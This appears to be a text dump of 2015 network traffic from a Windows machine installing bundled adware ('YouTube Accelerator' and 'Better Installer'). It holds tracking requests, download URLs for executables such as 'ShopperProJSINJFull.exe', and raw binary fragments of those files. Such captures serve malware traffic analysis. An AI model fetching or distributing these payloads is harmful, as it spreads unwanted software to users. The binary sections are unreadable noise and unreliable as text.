.fe.q.....5....?B.:.%..6Ra..>Z....8.p^..Mt.%fl.x.....l"..c...P...&.
.h$....N..*A..m[l7....s]t.("Q.i..J].....*.Ts..O........w...H.....L. ..
..rR..8.9...C.........&p\Z(../ k....!h.?..l.'}l.U..wz.M..X.K.W.....v.W
.`.E;h..ZNWk....A.......~.3.jD..8hI;3l..L..P..HTTP/1.1 200 OK..Content
-Type: application/ocsp-response..Date: Sat, 14 Feb 2015 04:00:40 GMT.
.Expires: Wed, 18 Feb 2015 04:00:40 GMT..Cache-Control: public, max-ag
e=345600..Server: ocsp_responder..Content-Length: 463..X-XSS-Protectio
n: 1; mode=block..X-Frame-Options: SAMEORIGIN..Alternate-Protocol: 80:
quic,p=0.08..0..........0..... .....0......0...0......J......h.v....b.
.Z./..20150214010713Z0k0i0A0... ..........j.....p.I.#z...(~d..J......h
.v....b..Z./.._..S...a....20150214010713Z....20150221010713Z0...*.H...
..........@&..fe.q.....5....?B.:.%..6Ra..>Z....8.p^..Mt.%fl.x.....l
"..c...P...&..h$....N..*A..m[l7....s]t.("Q.i..J].....*.Ts..O........w.
..H.....L. ....rR..8.9...C.........&p\Z(../ k....!h.?..l.'}l.U..wz.M..
X.K.W.....v.W.`.E;h..ZNWk....A.......~.3.jD..8hI;3l..L..P......
<<< skipped >>>

POST /ocsp HTTP/1.1


Host: clients1.google.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Length: 107
Content-Type: application/ocsp-request
Connection: keep-alive

0i0g0E0C0A0... ..........j.....p.I.#z...(~d..J......h.v....b..Z./....mP
-...0.0... .....0...
0... .....0..
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
Date: Sat, 14 Feb 2015 04:00:41 GMT
Expires: Wed, 18 Feb 2015 04:00:41 GMT
Cache-Control: public, max-age=345600
Server: ocsp_responder
Content-Length: 463
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Alternate-Protocol: 80:quic,p=0.08
0..........0..... .....0......0...0......J......h.v....b..Z./..2015021
4010048Z0k0i0A0... ..........j.....p.I.#z...(~d..J......h.v....b..Z./.
...mP..-.....20150214010048Z....20150221010048Z0...*.H.............Q..
........JHi......pOIH...!."-.p...e...Yt. tOb{.sbB..h.O...._..8.q".....
7..:;Yw..W....X....|.Lj.c......y...Z..tJs...].t.l *3....J. I.......7..
....w.6}.E...3.p.S....f.^.<.9...4.=4...6.-....F1bR.5.m..^f..Y......
q.G. _....|1.T.Ue....yET..............K"......HTTP/1.1 200 OK..Content
-Type: application/ocsp-response..Date: Sat, 14 Feb 2015 04:00:41 GMT.
.Expires: Wed, 18 Feb 2015 04:00:41 GMT..Cache-Control: public, max-ag
e=345600..Server: ocsp_responder..Content-Length: 463..X-XSS-Protectio
n: 1; mode=block..X-Frame-Options: SAMEORIGIN..Alternate-Protocol: 80:
quic,p=0.08..0..........0..... .....0......0...0......J......h.v....b.
.Z./..20150214010048Z0k0i0A0... ..........j.....p.I.#z...(~d..J......h
.v....b..Z./....mP..-.....20150214010048Z....20150221010048Z0...*.H...
..........Q..........JHi......pOIH...!."-.p...e...Yt. tOb{.sbB..h.O...
._..8.q".....7..:;Yw..W....X....|.Lj.c......y...Z..tJs...].t.l *3....J
. I.......7......w.6}.E...3.p.S....f.^.<.9...4.=4...6.-....F1bR.5.m
..^f..Y......q.G. _....|1.T.Ue....yET..............K"........
<<< skipped >>>


GET /finishinstall?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,aad59c11-71bf-4fd1-8fcf-4ed6f2e4aee0,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE HTTP/1.1
Accept: text/html, application/xhtml xml, */*
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept-Encoding: gzip, deflate
Host: VVV.youtubeaccelerator.com
DNT: 1
Connection: Keep-Alive


HTTP/1.1 301 Moved Permanently
Content-Type: text/html; charset=UTF-8
Location: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,aad59c11-71bf-4fd1-8fcf-4ed6f2e4aee0,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:59:19 GMT
Content-Length: 403
<head><title>Document Moved</title></head>.<
;body><h1>Object Moved</h1>This document may be found &
lt;a HREF="hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9
.4&VA_Aff=smtycl1_0_0_0_0,aad59c11-71bf-4fd1-8fcf-4ed6f2e4aee0,&am
p;VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=
Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&Bu
ndleID=NONE">here</a></body>....


GET /finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,aad59c11-71bf-4fd1-8fcf-4ed6f2e4aee0,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE HTTP/1.1


Accept: text/html, application/xhtml xml, */*
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept-Encoding: gzip, deflate
Host: VVV.youtubeaccelerator.com
DNT: 1
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Encoding: gzip
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
Set-Cookie: ASP.NET_SessionId=epzieoysgq4zjz4kqsejb0jl; path=/; HttpOnly
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:59:19 GMT
Content-Length: 2025
.............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?"~..7N...O.<y...<M...L_~..
..I.......wr...7O....o.x...w.7u.l....Yy........m.zt........../..yu..`.
.e.u.......GG.9.L.-.e.Y.........?.....q[.eN....y.|.^W......e.feY,/...Z
.YO..x:.............y...l..........X}.N.e./..>....y.pWWY;....:...b.
WMzU..j.....y^..l9../.k....M.|....~.__U..>......g...~6.?.nG..Q..y..
.\' .v.....g..H..o.W..]..k.....t..M.~.n.....7NRz..(..u^~..4[V.b.....:?
[email protected].) ...M{]....6.O.....l.#.O...y.Q.....52.d....2.
.n.../Z......`|oL...45.^...2..>:z|W~......2..S..b............].'..B
g....hj.....VUC......>.=~.............0[.........E{=-w.....w..f....
...........lw..|J...O....,.............3k...?!N.l...E5.?.g....O..g.-..
...........e>m..g..C.N.X.....g.=...>Y/ge~....(-h.B..hV\.G.\.....
.l..@..~...'.N......}7..2 ........W_.^_.9}.../v^..../.^.}2.~..o.......
../.~.{'..Wg.^_]....W............_=. ..o.....v...8}u...W=4.o.........O
.>...L.e..:....8*.A....2.?&9gI.K.......%...............F...DL.n./.t
Q......P......(!l....7.$..tCo|PQ...=....z^...cz..pW_.;z.fu .....[jk..'
p&5.F....z...Z.. ..x.. "...'......g..:.-.L:...C;..z.......&.I......)..
^....O.&u/..Y....H..3...Q.f.~,....j.g..I.....y...).z.....A.k....L.aC..
...|&.s..............K.-}Y....(u...&..-.|.....HBv....O..YJ.j.^........
..U.Y......ys...V]..Eq....q............_1..........w..N?g.B..r.....e^7
.j.2....mz.X&Q==.#V........N...9.^.....eV.b.~..&............O.=<.=.
.....k .Y.....mi...E.{..N...L.......&y..O."[..x.E...'~.S....\}.y..
<<< skipped >>>

GET /styles/yta.css?v=1 HTTP/1.1


Accept: text/css
Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,aad59c11-71bf-4fd1-8fcf-4ed6f2e4aee0,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept-Encoding: gzip, deflate
Host: VVV.youtubeaccelerator.com
DNT: 1
Connection: Keep-Alive
Cookie: ASP.NET_SessionId=epzieoysgq4zjz4kqsejb0jl

GET /ConversionService/getScript.ashx?s=finish HTTP/1.1
Accept: application/javascript, */*;q=0.8
Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,aad59c11-71bf-4fd1-8fcf-4ed6f2e4aee0,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept-Encoding: gzip, deflate
Host: VVV.youtubeaccelerator.com
DNT: 1
Connection: Keep-Alive
Cookie: ASP.NET_SessionId=epzieoysgq4zjz4kqsejb0jl


HTTP/1.1 200 OK
Cache-Control: private
Content-Type: application/x-javascript; charset=utf-8
Content-Encoding: gzip
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:59:20 GMT
Content-Length: 1035
.............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?"..:..........r...r../..v]/.q6..
^.....j9jG.._......M./......EMG....G.U.f.9.........G.PCj.=......dD.^..
.~..b .~.....Ev......~.....u...4.g.t..~..:........G.......6..g{..?....
.w.:....!>...v.5......G..,?/...._......~..;...."o........E...>..
..#j7...E;?..=...|...V.rv2/..V{..V}..I5.&.k.........S.YM...q.s.@..".!M
.^..x.4o.:..8..y.(.].;L..Y;.....>.9L.j.?WUS..Gi6i.r.....hVev.(]V...
...&......a.n.dD.....}o........).i....:?...O....w....~.G....{../...'.O
>.l.{../..'w>.}T.....E.N.[..C....]?[...p1x..t.~..G.........._..&
gt;c....z.>.VK"I>......4.G).}'..2 ..E..b.]7.. ....2..S.H....MA..
AO...'...>......?..0....:o>...z.V....u[....;w........q|......?..
WY;......{......z..kAZ.A.u .i....C&..a.x..;,>[email protected]|..n:...vk..g.
}.~tx..p..'...;j.U..9.bAr...s...>......a....K..&.....CYi.E.z..}..h{
../.g...o.........M.........W...V....X...!.Y..........)......!........
.....I$n...f^.........T...n...y}YL......GRS.w.G..)....B...v.!A...Z..Kb
[..w6.M.......&x.E.....



GET /mirror/mystartsearch/default/setup.exe HTTP/1.1
Range: bytes=241224-
User-Agent: Better Installer(Mozilla)
Host: dwl4rwv9nkwfy.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 80408
Connection: keep-alive
Date: Sun, 08 Feb 2015 04:57:06 GMT
x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590
Cache-Control: max-age=3600
Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT
ETag: "31f8d1cffb02dff93646f81d8ce3dd75"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 241224-321631/321632
Age: 553
X-Cache: Hit from cloudfront
Via: 1.1 7922e01ab53e8f36477272573223ab35.cloudfront.net (CloudFront)
X-Amz-Cf-Id: i9czsyyR6JLCcaoAzgt7vkiZ6bqOjcvUL0ogvMxZC511DFna-zJnng==
.........$C......?AVbad_exception@std@@[email protected]...........
..?...................C...d=C.`=C.\=C.X=C.T=C.P=C.L=C.D=C.<=C.4=C.(
=C..=C..=C..=C..=C..=C..<C..<C..<C..<C..<C..<C..<
C..<C..<C..<C..<C..<C..<C..<C..<C..<C..<
C..<C..<C..<C.|<C.p<C.l<C.h<C.\<C.H<C.<&
lt;C.............4<C.,<C.$<C..<C..<C..<C..<C..;C.
.;C..;C..;C..;C..;C..;C..;C.x;C.p;C.h;C.`;C.X;C.P;C.H;C.@;C.8;C.0;C.(;
C..;C..;C..:C..:C.`;C..:C..:C..:C..:C..:C..:C.x:C.p:C.h:C.T:C.,:C..:C.
......................................................................
........................C...............C...............C.............
..C...............C...................................C..........'C. ,
C..-C...C...C...C. .C.................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
.............AC..AC.hAC.XAC.<AC.(AC..AC..@C..@C..@C..@C..@[email protected]@C
[email protected]@[email protected]@C.(@C..@C..@C..?C..?C..?C..?C..?C.T@C.|?C.d?C.T?C.&
<<< skipped >>>


GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=a023b93ee3ddb84f912034f3917e580f&uniqid=9b2a2631e07de3ea563da5f894f4918c&affiliate_id=awat7zip54650&software_id=7zip&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=1f9ac8845ca219af3f49645e02cffe6f&tokyo_csrf2_timestamp=1423886216&slot_number=1&index_in_screen=1&index_in_session=1&display_height=80&0.8235984293952341 HTTP/1.1
Accept: */*
Referer: hXXp://bi.bisrv.com/awat7zip54650/7zip/a023b93ee3ddb84f912034f3917e580f?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: bi.bisrv.com
Connection: Keep-Alive
Cookie: __utma=1.833397082.1423886223.1423886223.1423886223.1; __utmb=1.1.10.1423886223; __utmc=1; __utmz=1.1423886223.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK
Server: nginx
Date: Sat, 14 Feb 2015 03:57:06 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Sat, 14 Feb 2015 03:57:06 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..



GET /ShopperProJSINJFull.exe HTTP/1.1
Range: bytes=0-249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: n4xkllm8-su78sj1t.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Sat, 14 Feb 2015 03:58:01 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: JYMfefOvope9xjqnpB/yPFoA0tJ4/tBzLbTSGBts5JRIQZ84duqBuWJzBiQtJ5dC
x-amz-request-id: 2C2A7EB2DE3EC802
Last-Modified: Thu, 12 Feb 2015 18:20:46 GMT
ETag: "70ec75083152a7c564ce84d0723adb12"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 0-249999/4681230
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........2.......p....@.........................
.................................................s....................
...................................................................p..
.............................text....[.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected][email protected]
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...7B...Si.....VW.T.....tO.q.3.;5.7B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.7B.r._^[...U..QQ.U.SV..i.
<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1


Range: bytes=500000-749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: n4xkllm8-su78sj1t.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Sat, 14 Feb 2015 03:58:01 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: JYMfefOvope9xjqnpB/yPFoA0tJ4/tBzLbTSGBts5JRIQZ84duqBuWJzBiQtJ5dC
x-amz-request-id: 2C2A7EB2DE3EC802
Last-Modified: Thu, 12 Feb 2015 18:20:46 GMT
ETag: "70ec75083152a7c564ce84d0723adb12"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 500000-749999/4681230
T...'}....L0$JwCO..h.X`k}.G.V.B..1}d.: .<&#.\..{|:A...."r...e.):<
;$.....=..*.QGX4x.J.....?...k..?.S....hq.T...........Y.........Z......
...}x..=..n*.....\u.G..L.-..a.B5..Hqa=..b....'..2....2....5D|........x
.x.!.[.........[....>.........u.a.....V5..IH......g..m~..C.._......
=..z..P.B...^...g..........5..w...<g.(.....K)........T.p$di.4e.G...
.L..J2<B..[..... &.I#Y.5..|.!.6.a..N..Ey .........niE..4......1.Xd.
.]..u.......h'}4..}0&\....9lK...R.v.Zt.E..U.>.C.Hs.g[]......b...<
;........]`../..S...E.m.A....~%..j.&8(......2.....).~..aN./.yti....mM&
gt;o....I..Oj....k.....'.`...wE...|..g.$...4I..U.[...k..r.I..EvE..u...
[email protected]..[...........(...a...j..........A...z..[j?_q....| ..%L.
[email protected]..._..a...K....0.U.-.... .B.Y.1.9w...'..T.R.H......~..F....
...RQ.EtU....Y.X4.Z8..5.P2}.....Z.=...K.q..=..EL.s=W.-.b.5...G)...1..1
3.y.....w~..q.ISB.i.*/[email protected]..".;}./..v....<.:_....u%.....KC..:
..`T..*.j....G.R...A..5hK._.6o.i..h..|..V.B.....C9.H=:.C.M.c..a...xg&l
t; 8..v...S.C...W..:.iM...q....F..?......&.3.c.H.r<p#....8g....v...
|.:9*..F!2._.....d.-...~u.5..>......P...#.!m.....g$...........i...S
.n..^......;.6....4...e.A..Y..."............PG....H.$....F&4. Zu......
SM..d...,r$....l.Y.s.gj.%.5f.*9^......?)d..........F.yyV.YD:..g.....8.
..YMg|.D.....<d5..5.....G..X.,[email protected][email protected]....>"g..
.NL,o.Q.~.IgB...<J.&....!.<..Z...|.y.Q...w..>.^Ja.....piZ....
=.=*../U....`..d.....p9.....P..P8.<} _...\.... .yP.......G.......k.
..[.a....SE..E2... 6.:we..J.....*..<.. J".O..]....`.1.P..4.h..l
<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1


Range: bytes=1500000-1749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: n4xkllm8-su78sj1t.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Sat, 14 Feb 2015 03:58:02 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: JYMfefOvope9xjqnpB/yPFoA0tJ4/tBzLbTSGBts5JRIQZ84duqBuWJzBiQtJ5dC
x-amz-request-id: 2C2A7EB2DE3EC802
Last-Modified: Thu, 12 Feb 2015 18:20:46 GMT
ETag: "70ec75083152a7c564ce84d0723adb12"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 1500000-1749999/4681230
.MK.{M|...Z.x.i....:..@7;'......H.....R.........0...k.]f.ewDz..^..D..4
.....l8..b.J.wP...........T.5....p_..Np."...)nB..n...q..D....22w...k.h
....\....?....Q?..k..].....Dd!J.z...^..j.o...a9IV..G..nE.7._ ..wc].K.1
.X*D....R.9..(F.. ....T.zf.Mp.;~..2.? .......3..yEib@.."}..&Uyay..8...
.8cRFVL.O...[I.}.H.7..Jn.2...."?..%...t...m.a{3p.%.GTI..I..}.q...!.TE$
.&.....O&.|.U(J.0............B..Q........A.yU...../.G[[email protected]...
 .SM.s..~.."=.......czZ....I..C.c.[.3...7........M7W....m."..e=.......
....e.^....-.F..<hY....Fu.p.r.'dC?.n...B}|.._.o.b.6.`.W..C.7)..FJd.
.]QYj..0U.}o....]......0.Q.#.X .g.~].o.py...H..prh9k.3.&.....Bo...}..Y
...........pT.y.|C.R.........]O..:Cw...dK.....wl..../.F/iS"j...L.....@
Z?..G..s.Si!(.........Mz.@]....3|..- l...W..p..3I..g...4...oet..G..,..
...?.. .....KGdq...6....Q..Q=...Q.X.. ..u .gp.^D\%.6t...A..l......Z6U9
^^&:.j...."N......\K.[.........1c..hx.&}.P...%....R...W..cr`....N...X.
.....}..E...(...Z,[email protected]..%.....Bw.19.......7..R.0.........bC
7....X..x.\.&oZ.kf.....un.XQ..o.-A..@."zi.hr..bS^.S..!M..-..}....5....
......BS......X......Q.z.Q..fc.u...Ij"\'......{.p.....oXrF..},...s..qP
XzV.F....<X.N.X1...JG..Z...h..M.... E.._..$V.."..t.N... ..\....*..&
lt;w.9.f...IJ..'.6!.U..'}.I.....FvXkH:/.u....N..."dQ.}Eg...IM...k.j...
|mC..~ap...w...nH.]. .....tyAL46....a.(......4.......m.%P..RD.T.~..d..
..D{.\}.R/<.u..z..pB.Z[.P.;...4...n....Z.X...*......h...E..w.H.....
t.,.,~...d#...f.'.\...E....f._....Z..8............^.....i|....b.N....~
....!.....3K5.....W`.)w*`la...:.......E...M.3W..6 ......B.....eu..
<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1


Range: bytes=2000000-2249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: n4xkllm8-su78sj1t.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Sat, 14 Feb 2015 03:58:03 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: JYMfefOvope9xjqnpB/yPFoA0tJ4/tBzLbTSGBts5JRIQZ84duqBuWJzBiQtJ5dC
x-amz-request-id: 2C2A7EB2DE3EC802
Last-Modified: Thu, 12 Feb 2015 18:20:46 GMT
ETag: "70ec75083152a7c564ce84d0723adb12"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 2000000-2249999/4681230
W.5?...[.fv...9.#...X...A.{f......#...-....m< ...k........,L...z8(.
k.....n.. k..j...l...;.Um.. .n.W..(......kLZ...`..].......E.)....T~...
....X...,.....5.L.-a Xo[..o.Tm.).....}...4<24...W.E....i.d.C.6[.W\.
...i.....-.c.V.>...vs....r.v.x.gP.."a[A.3.S... @[email protected]>.......%.
6..x.W........v....O...d.xP....67#E~[6=Ef..vH.F.U6..s{..Ky.&[U._^U]...
.r..K ..u..r..B......F........M'@;W.....kPeDh.R...la ..c...&u...R...rQ
....qC\R...O%G>`....T$.W....y m..F.I _..mm.R7>f....n>.U..7~Q.
..m v.q......y...[.....}....k.0....=..J....0]a..B7.....y.........!1..i
[.........V...Jv......... ....1vh..],Y.(p...5.5?.3U.?_.......d......&g
t;...$<U.k.t.._{....VV8,.8..[.......l.........Q..a_.............l..
.7....../f..:5.....r....O.%............%....eh>.aZ..i....:u6.e.5.u 
..<.....,...e...$....o...K......lL...g.#..!...%. #..P1_......^..M.Z
L.G..4g....].{O."]/Y. ..00-....Q...~.et.bj ..t...G..R...^.N/.>..3.T
.......A.:.M.../m....gUy....n../*{../..s.p]...._]B.Q.."q..h..m~...{...
.C.ci...2 .{..Te.......F...A.'?........."h..\Kg............(..,...'...
[email protected];.b._Y.vW......P...m.C O......&jH...U....h)..g...G.
.=>.........=7.7um..o#..[.......b.Q....m..].y..r.<Wlm..?....3.Y.
*lh......az...........5.].w.y..YN..<)g.Dy.4O.O....].;.....V6..(a..n
Q..H.... ........vP..........V..QE..j...%.e....4<..e..X....!.....f.
....J.v-c.4..N\^.Z.!..........Q.JNo..0...j|.2.-..k{..5...8.....]..~..3
......:1..W9.b....5.[.Hh..g..d..:......fS.p. .0.}x..] |............{~*
3.......kI.Q..a.q.h....kI.xk.].~F.9NN.X.E..5J2......y..'....W....2
<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1


Range: bytes=2500000-2749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: n4xkllm8-su78sj1t.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Sat, 14 Feb 2015 03:58:03 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: JYMfefOvope9xjqnpB/yPFoA0tJ4/tBzLbTSGBts5JRIQZ84duqBuWJzBiQtJ5dC
x-amz-request-id: 2C2A7EB2DE3EC802
Last-Modified: Thu, 12 Feb 2015 18:20:46 GMT
ETag: "70ec75083152a7c564ce84d0723adb12"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 2500000-2749999/4681230
...O.i...*.....|..O1m...EI..:......=.r..y.Rl.$Uu.4..)....".-.0...!...5
Ww........>...|..;....x..V.......-..;Z.."c.HO...Y.w...<O.O...z..
..].}<...`..U..........7&..Y...T.Z.)x.l..A.pF%....E....I..Dn......E
G7.q.e9.z...6....M.w..K.=Q.w.K...#..\.....-UiV0b....].,..bl..k..;)..5.
..k..,.F.Y(t..P.5.9.....A...\..0.X..8....){.......eo.C..!...nq....c:).
.......X.G.......N.....R......|....... nG.!*...b..... ......8..a....H.
.\].,fH&.]..F.y..*.U..& c.k.,.....B.......j4..[QN...eA....v....qY.....
..o...'g.3.5t...8...H..SJ2..61S|/........8r.X.4.j).2z....Q...t.Ryk".r.
Q.KS.....'.......w.!.r..8c.;..:...jY.p..Gl.....S.%. ..=.#.T....Qj...E.
[email protected]...>.0?......o$.D.7..I7.....YG...nZ#.%.
.j..j...1.....Sm<[email protected]....%..y..u!.b..o>[email protected].....
~nP[...w..j./...6.s....I=.xy...Z&..;.)L..(...<Vo.A]....`.rk.......T
...]..bq..r...NZ.7{..b.}.f.:...(....`ei..vC^..i....>. S.&"^w..D....
..1.....e"....%...I\g..=-.Ir.......J....0......?...........q.sucG;....
E6...*,...u..I...9QH...toy.>;......Y...#.=...N..eB>.......o|Q.#.
...G&`..AB.w........._..Y<.......$m...Z}.H!k..e../9=....8:.z.......
....{..pG8YW....Y.-.V..'H.0.$.._.....9Hjp[[email protected]@..*.*qf..3Gz.8
8..F.G.u.cC..F.m..".|[email protected]...[,.... .&.H{...F...........N
]^...d9.{....L.$...2......?../..!{.$.2N'.W....a.....D..X...N..f.H7R...
d.......G....;..$gF..5b...?^....Z...i.%.%X..AE....]q.?.VR0%...#....Uk.
.!s..1..V[.......d.(T.%..}.A2.h.].......Cq.Z..2.{...i7.OX..."........'
...........R.........g.8..N.X,.9d...8Y...V.J.2 Uaf.m.dC...O..=Ro.V
<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1


Range: bytes=3250000-3499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: n4xkllm8-su78sj1t.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Sat, 14 Feb 2015 03:58:04 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: JYMfefOvope9xjqnpB/yPFoA0tJ4/tBzLbTSGBts5JRIQZ84duqBuWJzBiQtJ5dC
x-amz-request-id: 2C2A7EB2DE3EC802
Last-Modified: Thu, 12 Feb 2015 18:20:46 GMT
ETag: "70ec75083152a7c564ce84d0723adb12"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 3250000-3499999/4681230
LCv..Y.M.#o...x^@...u.Kvj4..=.....2..Z.CQ.3.Z.D&C....^..'.D...K..^tm.F
..}..^.1..m.`..%...l.o.....F..U..]o....(.e..d.d....1W..w.t..`.9Y.$....
......B. ..ry.#...-..r...<.,gn.S....-....?3..sC.H..........3.,D....
.;....Z_O6...O.....L%..$.z.UA.s. ....#. ....,b..7..F..n$..AC....6}....
......&..G.e.Y5.....:[email protected]...$W..Rs.{U........-...\.gC..E..;.....
.........\.iDxM.nt....m.E.pt.M.~....5..'WrYQ.Zh....(?....J.#.i.,")..,.
..5,.x.y...`..-q.8.-.N..p.X=N|....|...LG.ah5...r.........Q[.&j..Z.q...
X..T..B...o ..mn.u.4.5........>........3$tg%...Xi..MX`..._...1...:.
8.i....%.."?...#..k .......G...$.w...............d....r.TF.......\T...
L.E....u#.[Cn. .X.f*......?]..B...........&.rRB{.I..jG.X@.:.1:...[.K/.
....1--.....z^..\.;....H...............Wl.k........F...0.i...k....L...
.swFy.XU.Lk..J.&.?..d...3e.8.}.....K.....TZ.*]...L.K,C...x..i..2......
..g......4/......Mw.,a.<h.{......Gh......~.......H:...4.!o.".B.U^..
F..k_..g...O..V....M..Y....r ....0YC..e.......)....xm..Af.h..7_N......
G...kj.....`...2r.YN.EO...].\............I.y.3.....~Q..z....o.*y......
.......<y0F ..;.,/ CwE.k. d.9?......{.2.y.w.s.^..W.|....D...].;..t.
